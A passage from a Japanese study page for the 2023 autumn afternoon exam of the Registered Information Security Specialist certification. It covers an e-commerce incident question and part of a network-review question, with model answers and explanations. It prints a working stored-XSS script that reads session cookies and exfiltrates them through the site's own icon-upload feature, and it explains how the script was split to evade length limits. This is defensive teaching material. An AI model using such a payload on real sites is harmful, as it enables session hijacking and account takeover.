‹

令和5年度 秋期 午後

令和5年度 秋期に実施された情報処理安全確保支援士試験 午後の全4問(記述式)です。事例本文・設問・解答例と解説をそのまま読めます。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 Web アプリケーションプログラムの開発

Web アプリケーションプログラムの開発に関する次の記述を読んで,設問に答えよ。

Q 社は,洋服の EC 事業を手掛ける従業員 100 名の会社である。Web アプリ Q という Web アプリケーションプログラムで EC サイトを運営している。EC サイトのドメイン名は“□□□.co.jp”であり,利用者は Web アプリ Q に HTTPS でアクセスする。Web アプリ Q の開発と運用は,Q 社開発部が行っている。今回,Web アプリ Q に,EC サイトの会員による商品レビュー機能を追加した。図1は,Web アプリ Q の主な機能である。

枠で囲んだ機能の一覧。1. 会員登録機能:EC サイトの会員登録を行う。2. ログイン機能:会員 ID とパスワードで会員を認証する。ログインした会員には,セッション ID を cookie として払い出す。3. カートへの商品の追加及び削除機能:(省略)。4. 商品の購入機能:ログイン済み会員だけが利用できる。(省略)。5. 商品レビュー機能:商品レビューを投稿したり閲覧したりするページを提供する。商品レビューの投稿は,ログイン済み会員だけが利用できる。会員がレビューページに入力できる項目のうち,レビュータイトルとレビュー詳細の欄は自由記述が可能であり,それぞれ 50 字と 300 字の入力文字数制限を設けている。6. 会員プロフィール機能:アイコン画像をアップロードして設定するためのページ(以下,会員プロフィール設定ページという)や,クレジットカード情報を登録するページを提供する。どちらのページもログイン済み会員だけが利用できる。アイコン画像のアップロードは,次をパラメータとして,“https://□□□.co.jp/user/upload”に対して行う。・画像ファイル 注1),・“https://□□□.co.jp/user/profile”にアクセスして払い出されたトークン 注2)。パラメータのトークンが,“https://□□□.co.jp/user/profile”にアクセスして払い出されたものと一致したときは,アップロードが成功する。アップロードしたアイコン画像は,会員プロフィール設定ページや,レビューページに表示される。(省略)。注1) パラメータ名は,“uploadfile”である。注2) パラメータ名は,“token”である。
図1 Web アプリ Q の主な機能

ある日,会員から,無地 T シャツのレビューページ(以下,ページ V という)に 16 件表示されるはずのレビューが 2 件しか表示されていないという問合せが寄せられた。開発部のリーダーである N さんがページ V を閲覧してみると,画面遷移上おかしな点はなく,図2が表示された。

ページ V の画面。上部に“商品レビュー 無地Tシャツ”,“レビューを投稿する”ボタン,“★ 4.9 16件のレビュー”。右上に T シャツの画像。レビューは2件だけ表示されている。1件目:アイコン(既定の画像),会員A,2023年4月10日,★★★★★ Good,Nice shirt!。2件目:アイコン(既定の画像),会員B,2023年4月1日,★★★★ 形も素材も良い,サイズ感がぴったりフィットして気に入っています(>_<),手触りも良く,値段を考えると良い商品です。最下部に“以上,全16件のレビュー”。注記 (人の形のアイコン)は,会員がアイコン画像をアップロードしていない場合に表示される画像である。
図2 ページ V

Web アプリ Q のレビューページでは,次の項目がレビューの件数分表示されるはずである。

不審に思った N さんはページ V の HTML を確認した。図3は,ページ V の HTML である。

枠で囲んだ HTML(原本に行番号は無い。以下の行番号は説明のために付けた)。1行目 (省略)。2行目 <div class="review-number">16 件のレビュー</div>。3行目 <div class="review">。4行目 <div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>。5行目 <div class="displayname">会員 A</div>。6行目 <div class="date">2023 年 4 月 10 日</div><div class="star">★★★★★</div>。7行目 <div class="review-title">Good<script>xhr=new XMLHttpRequest();/*</div>。8行目 <div class="description">a</div>。9行目 </div>。10行目 <div class="review">。11行目 <div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>。12行目 <div class="displayname">会員 A</div>。13行目 <div class="date">2023 年 4 月 10 日</div><div class="star">★★★★★</div>。14行目 <div class="review-title">*/url1="https://□□□.co.jp/user/profile";/*</div>。15行目 <div class="description">a</div>。16行目 </div>。17行目 (省略)。18行目 <div class="review">。19行目 <div class="icon"><img src="/users/dac6c8f12f867ed5/icon.png"></div>。20行目 <div class="displayname">会員 A</div>。21行目 <div class="date">2023 年 4 月 10 日</div><div class="star">★★★★★</div>。22行目 <div class="review-title">*/xhr2.send(form);}</script></div>。23行目 <div class="description">Nice shirt!</div>。24行目 </div>。25行目 <div class="review">。26行目 <div class="icon"><img src="/users/94774f6887f73b91/icon.png"></div>。27行目 <div class="displayname">会員 B</div>。28行目 <div class="date">2023 年 4 月 1 日</div><div class="star">★★★★</div>。29行目 <div class="review-title">形も素材も良い</div>。30行目 <div class="description">サイズ感がぴったりフィットして気に入っています(&gt;_&lt;)<br>手触りも良く,値段を考えると良い商品です。</div>。31行目 </div>。32行目 <div class="review-end">以上,全 16 件のレビュー</div>。33行目 (省略)。
図3 ページ V の HTML

図3の HTML を確認した N さんは,会員 A によって 15 件のレビューが投稿されていること,及びページ V には長いスクリプトが埋め込まれていることに気付いた。N さんは,ページ V にアクセスしたときに生じる影響を調査するために,アクセスしたときに Web ブラウザで実行されるスクリプトを抽出した。図4は,N さんが抽出したスクリプトである。

行番号付きのスクリプト(全20行)。1: xhr = new XMLHttpRequest();。2: url1 = "https://□□□.co.jp/user/profile";。3: xhr.open("get", url1);。4: xhr.responseType = "document"; // レスポンスをテキストではなく DOM として受信する。。5: xhr.send();。6: xhr.onload = function() { // 以降は,1 回目の XMLHttpRequest(XHR)のレスポンスの受信に成功してから実行される。。7: page = xhr.response;。8: token = page.getElementById("token").value;。9: xhr2 = new XMLHttpRequest();。10: url2 = "https://□□□.co.jp/user/upload";。11: xhr2.open("post", url2);。12: form = new FormData();。13: cookie = document.cookie;。14: fname = "a.png";。15: ftype = "image/png";。16: file = new File([cookie], fname, {type: ftype}); // アップロードするファイルオブジェクト // 第 1 引数:ファイルコンテンツ // 第 2 引数:ファイル名 // 第 3 引数:MIME タイプなどのオプション。17: form.append("uploadfile", file);。18: form.append("token", token);。19: xhr2.send(form);。20: }。注記 スクリプトの整形とコメントの追記は,N さんが実施したものである。
図4 N さんが抽出したスクリプト

N さんは,会員 A の投稿はクロスサイトスクリプティング(XSS)脆弱性を悪用した攻撃を成立させるためのものであるという疑いをもった。N さんが Web アプリ Q を調べたところ,Web アプリ Q には,会員が入力したスクリプトが実行されてしまう脆弱性があることを確認した。加えて,Web アプリ Q が cookie に HttpOnly 属性を付与していないこと及びアップロードされた画像ファイルの形式をチェックしていないことも確認した。

Q 社は,必要な対策を施し,会員への必要な対応も行った。

出題趣旨(IPA)

脆弱性を悪用されたインシデント発生時の対策立案においては,影響度の把握や適切な対策検討,及び優先度決定のため,どのような脆弱性がどのように悪用されたかを理解した上で対応を検討する必要がある。本問では,Webアプリケーションプログラムの脆弱性を悪用されたことによるインシデント対応を題材に,HTMLやECMAScriptから悪用された脆弱性と問題点を読み解き,対策を立案する能力を問う。

採点講評(問全体・IPA)

問1では,Web アプリケーションプログラムの脆弱性悪用によって発生したインシデントへの対応を題材に,悪用されたクロスサイトスクリプティング(XSS)脆弱性の把握と対応について出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1)

XSS 脆弱性の種類を解答群の中から選び,記号で答えよ。解答群:ア(DOM Based XSS),イ(格納型 XSS),ウ(反射型 XSS)

解答例

  • イ
解説

本文の根拠

図1 5. 商品レビュー機能

商品レビューの投稿は,ログイン済み会員だけが利用できる。

図3の後の本文

図3の HTML を確認した N さんは,会員 A によって 15 件のレビューが投稿されていること,及びページ V には長いスクリプトが埋め込まれていることに気付いた。

図4の後の本文

Web アプリ Q には,会員が入力したスクリプトが実行されてしまう脆弱性があることを確認した。

XSS は,スクリプトが Web ブラウザに届く経路で三つに分けられる。格納型(持続型)は,攻撃者が投稿した文字列がサーバに保存され,そのページを閲覧した利用者全員に出力されて実行される。反射型は,リクエストのパラメータに仕込んだスクリプトがそのままレスポンスに折り返されるもので,被害者に細工した URL を踏ませる必要がある。DOM Based XSS は,サーバを介さずにブラウザ側のスクリプトが URL のフラグメントなどを DOM に書き込むことで起きる。

本問では,会員 A が商品レビューとして投稿した文字列が Web アプリ Q に保存され,ページ V の HTML(図3)に埋め込まれて,ページ V にアクセスした全員の Web ブラウザで実行される。保存された投稿が後から閲覧者に配信されるので,イの格納型 XSS である。

間違えやすい点。図4のスクリプトは responseType に“document”を指定して DOM を扱っているが,これは攻撃の“中身”であり,脆弱性の種類を決めるのはスクリプトが埋め込まれた経路である。採点講評も“DOM Based XSS”との誤答が散見されたと述べている。

採点講評(IPA)

設問1(1)は,正答率は平均的であったが,スクリプトでDOMを使用していたことからか,“DOM Based XSS”と誤って解答する受験者が散見された。脆弱性の種類や埋め込まれた状況に応じた適切な対策を施すためにも,脆弱性は特徴や対策方法まで含めて,正確に理解してほしい。

設問1(2) 30字以内

Web アプリ Q における対策を,30 字以内で答えよ。

解答例

  • レビュータイトルを出力する前にエスケープ処理を施す。
解説

本文の根拠

図3

<div class="review-title">Good<script>xhr=new XMLHttpRequest();/*</div>

図3

<div class="description">サイズ感がぴったりフィットして気に入っています(&gt;_&lt;)<br>

図2

サイズ感がぴったりフィットして気に入っています(>_<)

図3を見ると,会員 B のレビュー詳細の“>_<”は HTML 上で“&gt;_&lt;”と文字参照に置き換えられて出力されており,画面(図2)では記号のまま表示されている。レビュー詳細にはエスケープ処理が施されている。一方,レビュータイトルは“<script>”がそのままタグとして出力されている。脆弱なのはレビュータイトルの出力処理である。

XSS の根本的な対策は,利用者が入力した値を HTML に出力する際に,<,>,&,",' などの特殊な意味をもつ文字を文字参照に置き換える(エスケープする)ことである(IPA“安全なウェブサイトの作り方”の XSS 対策の根本的解決)。入力時の文字数制限では防げないことは,設問2の攻撃が示している。

字数の詰め方。“どの項目を”“いつ”“何をする”の三つを残す。解答例は“レビュータイトルを出力する前にエスケープ処理を施す。”(26字)。“入力値をチェックする”のように対象も方法も曖昧な書き方は,本文の手掛かり(タイトルだけがエスケープされていない)を使えていない。

設問2 50字以内

図3について,入力文字数制限を超える長さのスクリプトが実行されるようにした方法を,50 字以内で答えよ。

解答例

  • HTMLがコメントアウトされ一つのスクリプトになるような投稿を複数回に分けて行った。
解説

本文の根拠

図1 5. 商品レビュー機能

レビュータイトルとレビュー詳細の欄は自由記述が可能であり,それぞれ 50 字と 300 字の入力文字数制限を設けている。

図3

<div class="review-title">*/url1="https://□□□.co.jp/user/profile";/*</div>

図3

<div class="review-title">*/xhr2.send(form);}</script></div>

レビュータイトルは 50 字までしか入力できないので,図4の 20 行のスクリプトを 1 回の投稿には収められない。そこで会員 A は,スクリプトを 50 字以内の断片に分けて 15 件のレビューのタイトルとして投稿した。1 件目のタイトルは“Good<script>xhr=new XMLHttpRequest();/*”で始まり,最後のタイトルは“*/xhr2.send(form);}</script>”で終わる。

各タイトルは“*/”で始まり“/*”で終わっている。HTML 上で隣り合うタイトルの間には“</div><div class="description">a</div></div><div class="review">…<div class="review-title">”といったレビューの HTML が挟まるが,それが ECMAScript のコメント /* … */ の中に入るので無視され,タイトルの断片だけがつながって一つのスクリプトとして実行される。最初のタイトルの <script> から最後のタイトルの </script> までが一つの script 要素になるため,その間のレビュー 13 件は画面に表示されない。これが“2 件しか表示されていない”原因である。

字数の詰め方。“コメントアウトで HTML を無効にした”ことと“複数回に分けて投稿した”ことの二つを入れる。解答例は“HTML がコメントアウトされ一つのスクリプトになるような投稿を複数回に分けて行った。”(42字)。採点講評のとおり,“開発者ツールで入力制限を削除した”は図3の痕跡と合わない。

採点講評(IPA)

設問2は,正答率が平均的であった。HTMLやスクリプトをよく確認すれば解答ができたはずであるが,“開発者ツールで入力制限を削除してから投稿した”のように,確認が不足していると考えられる解答が一部に見られた。攻撃者の残した痕跡を注意深く確認し,攻撃者の行った攻撃の方法を正確に把握する能力を培ってほしい。

設問3(1) 60字以内

図4の 6〜20 行目の処理の内容を,60 字以内で答えよ。

解答例

  • XHRのレスポンスから取得したトークンとともに,アイコン画像としてセッションIDをアップロードする。
解説

本文の根拠

図4

8: token = page.getElementById("token").value;

図4

13: cookie = document.cookie;

図4

16: file = new File([cookie], fname, {type: ftype});

図1 6. 会員プロフィール機能

パラメータのトークンが,“https://□□□.co.jp/user/profile”にアクセスして払い出されたものと一致したときは,アップロードが成功する。

6 行目以降は,1 回目の XHR で取得した“https://□□□.co.jp/user/profile”のレスポンス(DOM)から,id が token の要素の値を取り出す(7〜8 行目)。続いて,閲覧者の Web ブラウザの document.cookie を読み(13 行目),それを中身とする“a.png”という名前の画像ファイルを作り(14〜16 行目),パラメータ uploadfile と token を付けて“/user/upload”に POST する(10〜12,17〜19 行目)。

図1のとおり,アップロードは profile で払い出されたトークンと一致したときだけ成功するので,スクリプトは先に正規のトークンを取ってから送っている。document.cookie にはログイン時に払い出されたセッション ID が入っており,HttpOnly 属性が付いていないのでスクリプトから読める。アップロード先はアイコン画像の設定なので,閲覧した会員のアイコン画像がセッション ID の中身に置き換わる。

字数の詰め方。“トークンを取得して添える”“セッション ID(cookie)を”“アイコン画像としてアップロードする”の三つを残す。解答例は 50 字。

設問3(2) 50字以内

攻撃者は,図4のスクリプトによってアップロードされた情報をどのようにして取得できるか。取得する方法を,50 字以内で答えよ。

解答例

  • 会員のアイコン画像をダウンロードして,そこからセッションIDの文字列を取り出す。
解説

本文の根拠

図1 6. 会員プロフィール機能

アップロードしたアイコン画像は,会員プロフィール設定ページや,レビューページに表示される。

図3

<div class="icon"><img src="/users/94774f6887f73b91/icon.png"></div>

図4の後の本文

アップロードされた画像ファイルの形式をチェックしていないことも確認した。

図4のスクリプトでアップロードされたのは,セッション ID を中身とする“画像ファイル”であり,被害者のアイコン画像として保存される。アイコン画像はレビューページに表示され,図3のように“/users/…/icon.png”の URL が HTML に現れるので,攻撃者は被害者がレビューを投稿したページなどからその URL を知り,画像をダウンロードできる。

画像ファイルの形式がチェックされていないので,テキストのままの cookie が画像として受け付けられている。攻撃者はダウンロードしたファイルをテキストとして開けば,セッション ID の文字列を取り出せる。攻撃者自身のサーバへ送信させる必要がなく,Web アプリ Q の正規の機能だけで情報を持ち出している点がこの攻撃の工夫である。

字数の詰め方。“アイコン画像をダウンロードする”と“セッション ID の文字列を取り出す”の二つを残す。解答例は“会員のアイコン画像をダウンロードして,そこからセッション ID の文字列を取り出す。”(40字)。

設問3(3) 40字以内

攻撃者が(2)で取得した情報を使うことによってできることを,40 字以内で答えよ。

解答例

  • ページVにアクセスした会員になりすまして,WebアプリQの機能を使う。
解説

本文の根拠

図1 2. ログイン機能

ログインした会員には,セッション ID を cookie として払い出す。

図4の後の本文

加えて,Web アプリ Q が cookie に HttpOnly 属性を付与していないこと

図1 6. 会員プロフィール機能

クレジットカード情報を登録するページを提供する。どちらのページもログイン済み会員だけが利用できる。

Web アプリ Q は,ログインした会員をセッション ID の cookie で識別している。攻撃者が被害者のセッション ID を手に入れて自分の Web ブラウザの cookie に設定すれば,そのセッションが有効な間は,ID とパスワードを知らなくても被害者としてログインした状態になる(セッションハイジャック)。

その結果,攻撃者はログイン済み会員だけが使える機能,例えば商品の購入,クレジットカード情報を登録するページ,会員プロフィールの変更などを被害者になりすまして使える。採点講評も,EC サイトで cookie が取得されることの影響はよく理解されていたと述べている。

字数の詰め方。“誰に”“なりすまして”“何ができるか”を残す。解答例は“ページ V にアクセスした会員になりすまして,Web アプリ Q の機能を使う。”(35字)。特定の機能名を並べるより,なりすましで機能全般が使えることを書く方が字数に収まる。

採点講評(IPA)

設問3(3)は,正答率が高かった。攻撃によって起きるかもしれない被害を推察して解答する必要がある問題であったが,ECサイトにおいてcookieが攻撃者に取得されることの影響について,よく理解されていた。

設問4 40字以内

仮に,攻撃者が用意したドメインのサイトに図4と同じスクリプトを含む HTML を準備し,そのサイトに Web アプリ Q のログイン済み会員がアクセスしたとしても,Web ブラウザの仕組みによって攻撃は成功しない。この仕組みを,40 字以内で答えよ。

解答例

  • スクリプトから別ドメインのURLに対してcookieが送られない仕組み
解説

本文の根拠

図4

2: url1 = "https://□□□.co.jp/user/profile";

図4

13: cookie = document.cookie;

図1 6. 会員プロフィール機能

どちらのページもログイン済み会員だけが利用できる。

図4のスクリプトは,Web アプリ Q と同じオリジン(https://□□□.co.jp)のページの中で動いたから成功した。同じスクリプトを攻撃者のドメインのページに置くと,XMLHttpRequest は別ドメインの“□□□.co.jp”へのリクエストになる。Web ブラウザは,スクリプトから別のドメインへ送るリクエストには,既定では□□□.co.jp の cookie を付けない(XMLHttpRequest の withCredentials は既定で無効であり,有効にしても Web アプリ Q 側が許可しない限りレスポンスは読めない)。

cookie が付かなければ,profile へのアクセスは未ログインとして扱われ,ログイン済み会員にだけ払い出されるトークンが得られない。また,13 行目の document.cookie で読めるのは攻撃者のドメインの cookie であり,Web アプリ Q のセッション ID は読めない。さらに同一オリジンポリシーにより,別ドメインからのレスポンスの中身はスクリプトから読めない。

字数の詰め方。解答例は“スクリプトから別ドメインの URL に対して cookie が送られない仕組み”(35字)。“同一オリジンポリシー”とだけ書くと,何が妨げられるのかが伝わらない。“cookie が送られない”という結果まで書く。

出典:令和5年度 秋期 情報処理安全確保支援士試験 午後 問1(表記を一部改変)

問2 セキュリティ対策の見直し

セキュリティ対策の見直しに関する次の記述を読んで,設問に答えよ。

M 社は,L 社の子会社であり,アパレル業を手掛ける従業員 100 名の会社である。M 社のオフィスビルは,人通りの多い都内の大通りに面している。

昨年,M 社の従業員が,社内ファイルサーバに保存していた秘密情報の商品デザインファイルを USB メモリに保存し,競合他社に持ち込むという事件が発生した。この事件を契機として,L 社からの指導でセキュリティ対策の見直しを進めている。既に次の三つの見直しを行った。

M 社のオフィスビルには,執務室と会議室がある。執務室では従業員用無線 LAN が利用可能であり,会議室では,従業員用無線 LAN と来客用無線 LAN の両方が利用可能である。会議室にはプロジェクターが設置されており,来客が持ち込む PC,タブレット及びスマートフォン(以下,これらを併せて来客持込端末という)又は業務 PC を来客用無線 LAN に接続することで利用可能である。

M 社のネットワーク構成を図1に,その構成要素の概要を表1に,M 社のセキュリティルールを表2に示す。

ネットワーク構成図。M 社の外で,B サービスとインターネットがつながっている。M 社は執務室と会議室に分かれる。執務室:インターネットに FW の WAN-IF1 が接続し,FW の IF1 が L2SW の P9 に接続する。サーバネットワーク 192.168.30.0/24 に業務サーバ(P10),DHCP サーバ(P11),DNS サーバ(P12),ディレクトリサーバ(P13)があり,それぞれ L2SW の括弧内のポートに接続する。L2SW の P20〜P23 に AP-1〜AP-4(重ねて描かれている)が接続し,AP-1 に業務 PC が無線で接続する。L2SW の P24 は会議室の AP-5 に接続する。会議室:来客用無線 LAN 192.168.10.0/24 の範囲に来客持込端末,プロジェクター,業務 PC があり,AP-5 に無線で接続する。従業員用無線 LAN 192.168.20.0/24 の範囲は,執務室の AP-1〜AP-4 と業務 PC から会議室の AP-5 とその下の業務 PC にまたがっている(AP-5 は来客用無線 LAN と従業員用無線 LAN の両方の範囲に入っている)。凡例:FW:ファイアウォール,L2SW:レイヤー2スイッチ,AP:無線LANアクセスポイント。注記1 IF1,WAN-IF1 は FW のインタフェースを示す。注記2 P9〜P13 及び P20〜P24 は L2SW のポートを示す。注記3 L2SW は VLAN 機能をもっており,各ポートには接続されている機器のネットワークに対応した VLAN ID が割り当てられている。P9 と P24 ではタグ VLAN が有効化されており,そのほかのポートでは無効化されている。有効化されている場合,複数の VLAN ID が割当て可能である。無効化されている場合,一つの VLAN ID だけが割当て可能である。
図1 M 社のネットワーク構成
構成要素,概要の2列の表。FW:・通信制御はステートフルパケットインスペクション型である。・NAT 機能を有効にしている。・DHCP リレー機能を有効にしている。AP-1〜5:・無線 LAN の認証方式は WPA2-PSK である。・AP-1〜4 には,従業員用無線 LAN の SSID が設定されている。・AP-5 には,従業員用無線 LAN の SSID と来客用無線 LAN の SSID の両方が設定されている。・従業員用無線 LAN だけに MAC アドレスフィルタリングが設定されており,事前に情報システム部で登録された業務 PC だけが接続できる。・同じ SSID の無線 LAN に接続された端末同士は,通信可能である。B サービス:・HTTPS でアクセスする。・HTTP Strict Transport Security(HSTS)を有効にしている。・従業員ごとに割り当てられた利用者 ID とパスワードでログインし,利用する。・M 社の従業員に割り当てられた利用者 ID では,a1.b1.c1.d1 注1) からだけ,B サービスにログイン可能である。・ファイル共有機能がある。従業員が M 社以外の者と業務用のファイルを共有するには,B サービス上で,共有したいファイルの指定,外部の共有者のメールアドレスの入力及び上長承認申請を行い,上長が承認する。承認されると,指定されたファイルの外部との共有用 URL(以下,外部共有リンクという)が発行され,外部の共有者宛てに電子メールで自動的に送信される。外部共有リンクは,本人及び上長には知らされない。外部の共有者は外部共有リンクにアクセスすることによって,B サービスにログインせずにファイルをダウンロード可能である。外部共有リンクは,発行されるたびに新たに生成される推測困難なランダム文字列を含み,有効期限は 1 日に設定されている。業務 PC:・日常業務のほか,B サービスへのアクセス,インターネットの閲覧,電子メールの送受信などに利用する。・TPM(Trusted Platform Module)2.0 を搭載している。DHCP サーバ:・業務 PC,来客持込端末に IP アドレスを割り当てる。DNS サーバ:・業務 PC,来客持込端末が利用する DNS キャッシュサーバである。・インターネット上のドメイン名の名前解決を行う。ディレクトリサーバ:・ディレクトリ機能に加え,ソフトウェア,クライアント証明書などを業務 PC にインストールする機能がある。注1) グローバル IP アドレスを示す。
表1 構成要素の概要(抜粋)
項目,セキュリティルールの2列の表。業務 PC の持出し:・社外への持出しを禁止する。業務 PC 以外の持込み:・個人所有の PC,タブレット,スマートフォンなどの機器の執務室への持込みを禁止する。業務用のファイルの持出し:・B サービスのファイル共有機能以外の方法での社外への持出しを禁止する。
表2 M 社のセキュリティルール(抜粋)

FW の VLAN インタフェース設定を表3に,FW のフィルタリング設定を表4に,AP-5 の設定を表5に示す。

項番,物理インタフェース名,タグ VLAN 注1),VLAN 名,VLAN ID,IP アドレス,サブネットマスクの7列の表。項番1:IF1,有効,VLAN10,10,192.168.10.1,255.255.255.0。項番2:IF1,有効,VLAN20,20,192.168.20.1,255.255.255.0。項番3:IF1,有効,VLAN30,30,192.168.30.1,255.255.255.0(項番1〜3 の物理インタフェース名とタグ VLAN は一つのセルにまとめられている)。項番4:WAN-IF1,無効,VLAN1,1,a1.b1.c1.d1,255.255.255.248。注1) 物理インタフェースでのタグ VLAN の設定を示す。有効の場合,複数の VLAN ID が割当て可能である。無効の場合,一つの VLAN ID だけが割当て可能である。
表3 FW の VLAN インタフェース設定
項番,入力インタフェース,出力インタフェース,送信元 IP アドレス,宛先 IP アドレス,サービス,動作,NAT 注1) の8列の表。項番1:IF1,WAN-IF1,192.168.10.0/24,全て,HTTP,HTTPS,許可,有効。項番2:IF1,WAN-IF1,192.168.20.0/24,全て,HTTP,HTTPS,許可,有効。項番3:IF1,WAN-IF1,192.168.30.0/24,全て,HTTP,HTTPS,DNS,許可,有効。項番4:IF1,IF1,192.168.10.0/24,192.168.30.0/24,DNS,許可,無効。項番5:IF1,IF1,192.168.20.0/24,192.168.30.0/24,全て,許可,無効。項番6:IF1,IF1,192.168.30.0/24,192.168.20.0/24,全て,許可,無効。項番7:全て,全て,全て,全て,全て,拒否,無効。注記 項番が小さいルールから順に,最初に合致したルールが適用される。注1) 現在の設定では有効の場合,送信元 IP アドレスが a1.b1.c1.d1 に変換される。
表4 FW のフィルタリング設定
項目,設定1,設定2の3列の表。SSID:m-guest,m-employee。用途:来客用無線 LAN,従業員用無線 LAN。周波数:2.4GHz,2.4GHz。SSID 通知:有効,無効。暗号化方法:WPA2,WPA2。認証方式:WPA2-PSK,WPA2-PSK。事前共有キー(WPA2-PSK):Mkr4bof2bh0tjt,Kxwekreb85gjbp5gkgajfg。タグ VLAN:有効,有効。VLAN ID:10,20。
表5 AP-5 の設定(抜粋)

〔B サービスからのファイルの持出しについてのセキュリティ対策の確認〕

これまで行った対策の見直しに引き続き,B サービスからのファイルの持出しのセキュリティ対策について,十分か否かの確認を行うことになった。そこで,情報システム部の Y さんが,L 社の情報処理安全確保支援士(登録セキスペ)である S 氏の支援を受けながら,確認することになった。2 人は,社外の攻撃者による持出しと従業員による持出しのそれぞれについて,セキュリティ対策を確認することにした。

〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕

次は,社外の攻撃者による B サービスからのファイルの持出しについての,Y さんと S 氏の会話である。

枠で囲んだエラーメッセージの詳細の箇条(4項目)。・[ c ]。・[ d ]。・このサーバ証明書は,失効している。・このサーバ証明書は,有効期限が切れている。
図2 エラーメッセージの詳細(抜粋)

〔従業員によるファイルの持出しについてのセキュリティ対策の確認〕

次は,従業員による B サービスからのファイルの持出しについての,S 氏と Y さんとの会話である。

〔方法 1 と方法 2 についての対策の検討〕

方法 1 への対策については,従業員用無線 LAN の認証方式として EAP-TLS を選択し,③認証サーバを用意することにした。

次は,必要となるクライアント証明書についての S 氏と Y さんの会話である。

方法 2 への対策については,次の二つの案を検討した。

検討の結果,D サービスを次のとおり利用することにした。

今まで必要だった,来客持込端末から DHCP サーバと h サーバへの通信は,不要になる。さらに,表5について不要になった設定を削除するとともに,⑥表3及び表4についても,不要になった設定を全て削除する。また,プロジェクターについては,来客用無線 LAN を利用せず,HDMI ケーブルで接続する方法に変更する。

Y さんと S 氏は,ほかにも必要な対策を検討し,これらの対策と併せて実施した。

出題趣旨(IPA)

企業内ネットワークでは,無線LANが広く普及している。来客者用の無線LANが設置されている場合もあり,こういった環境では,第三者が接続しないように,セキュリティ対策を行うことが重要である。本問では,アパレル業におけるセキュリティ対策の見直しを題材に,無線LANを使った環境における脅威を様々な角度から想定する能力及びセキュリティ対策を立案する能力を問う。

採点講評(問全体・IPA)

問2では,アパレル業におけるセキュリティ対策の見直しを題材に,サーバ証明書の検証,秘密鍵の管理及び無線LAN環境の見直しについて出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄2つ

本文中の a,b に入れる適切な字句を答えよ。

〔a〕解答例

  • 利用者ID

〔b〕解答例

  • パスワード

〔備考〕順不同

解説

本文の根拠

表1 B サービス

従業員ごとに割り当てられた利用者 ID とパスワードでログインし,利用する。

表1 B サービス

M 社の従業員に割り当てられた利用者 ID では,a1.b1.c1.d1 注1) からだけ,B サービスにログイン可能である。

表4 注1)

現在の設定では有効の場合,送信元 IP アドレスが a1.b1.c1.d1 に変換される。

B サービスへのログインには,表1のとおり従業員ごとの利用者 ID とパスワードが要る。a は“利用者 ID”,b は“パスワード”である(順不同)。

Y さんが“来客用無線 LAN から B サービスにアクセスする”ことを心配したのは,B サービスの接続元制限(a1.b1.c1.d1 からだけログイン可能)が来客用無線 LAN では防御にならないからである。表4の項番1で来客用無線 LAN(192.168.10.0/24)からインターネットへの通信は NAT 有効で許可され,送信元は a1.b1.c1.d1 に変換される。B サービスから見ると,来客用無線 LAN からのアクセスも M 社の正規の接続元からのアクセスと区別できない。残る防御は利用者 ID とパスワードだけであり,S 氏はそれを指摘している。後の Y さんの発言で,偽 AP と偽サイトによってこの二つを盗む方法が検討されるのもそのためである。

間違えやすい点。“クライアント証明書”などは本文の B サービスの仕様に無い。表1の B サービスの欄に書かれた認証要素だけを答える。

設問1(2) 解答欄2つ

図2中の c,d に入れる適切な字句を,それぞれ 40 字以内で答えよ。

〔c〕解答例

  • このサーバ証明書は,信頼された認証局から発行されたサーバ証明書ではない

〔d〕解答例

  • このサーバ証明書に記載されているサーバ名は,接続先のサーバ名と異なる

〔備考〕順不同

解説

本文の根拠

〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕

偽サイトに使用されたサーバ証明書に応じて,図2に示すエラーメッセージの詳細の一つ以上が Web ブラウザに表示されます。

図2

・このサーバ証明書は,失効している。・このサーバ証明書は,有効期限が切れている。

〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕

B サービスと同じ URL の偽のサイト(以下,偽サイトという)を用意し

Web ブラウザは HTTPS の接続時にサーバ証明書を検証し,主に次の四つを確かめる。①信頼できるルート認証局まで署名の連鎖をたどれるか(信頼された認証局から発行されたか),②証明書に記載されたサーバ名(サブジェクト代替名)が接続先のホスト名と一致するか,③有効期限内か,④失効していないか。図2には③と④が既に挙がっているので,c と d は①と②である(順不同)。

攻撃者は B サービスのドメインを所有していないので,正規の認証局から B サービスのドメイン名のサーバ証明書を取得できない。偽サイトに使えるのは,自分で作った自己署名証明書や攻撃者が用意した私設の認証局の証明書(①に当たる)か,攻撃者が所有する別のドメイン名で正規に取得した証明書(②に当たる)のどちらかになる。どちらでも Web ブラウザは警告を出す。

字数の詰め方。図2の他の行に合わせ,“このサーバ証明書は,…”の文の形で書く。解答例は c が“このサーバ証明書は,信頼された認証局から発行されたサーバ証明書ではない”(35字),d が“このサーバ証明書に記載されているサーバ名は,接続先のサーバ名と異なる”(34字)。

採点講評(IPA)

設問1(2)は,正答率が低かった。攻撃者が偽サイトを用意したとしても,HTTPSでアクセスするのであれば,サーバ証明書の検証に失敗する。サーバ証明書の検証は,通信の安全性を確保するうえで基本的な知識であるので,具体的にどういった事項を検証するのかということまで含めて,よく理解しておいてほしい。

設問1(3) 60字以内

本文中の下線①について,エラーメッセージが表示される直前までの Web ブラウザの動きを,60 字以内で答えよ。

解答例

  • HTTPのアクセスをHTTPSのアクセスに置き換えてアクセスする。その後,偽サイトからサーバ証明書を受け取る。
解説

本文の根拠

表1 B サービス

HTTP Strict Transport Security(HSTS)を有効にしている。

〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕

誤って“http://”と入力して B サービスにアクセスしようとした場合,エラーメッセージが表示されないのではないでしょうか。

〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕

HSTS を有効にしてあるので,その場合でも,①先ほどと同じエラーメッセージが表示されます。

HSTS(RFC 6797)は,サーバが HTTPS のレスポンスに Strict-Transport-Security ヘッダーを付けて,“このドメインには一定期間 HTTPS でしか接続しないこと”を Web ブラウザに記憶させる仕組みである。記憶した Web ブラウザは,利用者が“http://”の URL を入力しても,ネットワークへ HTTP のリクエストを送る前に自ら HTTPS の URL に置き換えて接続する。

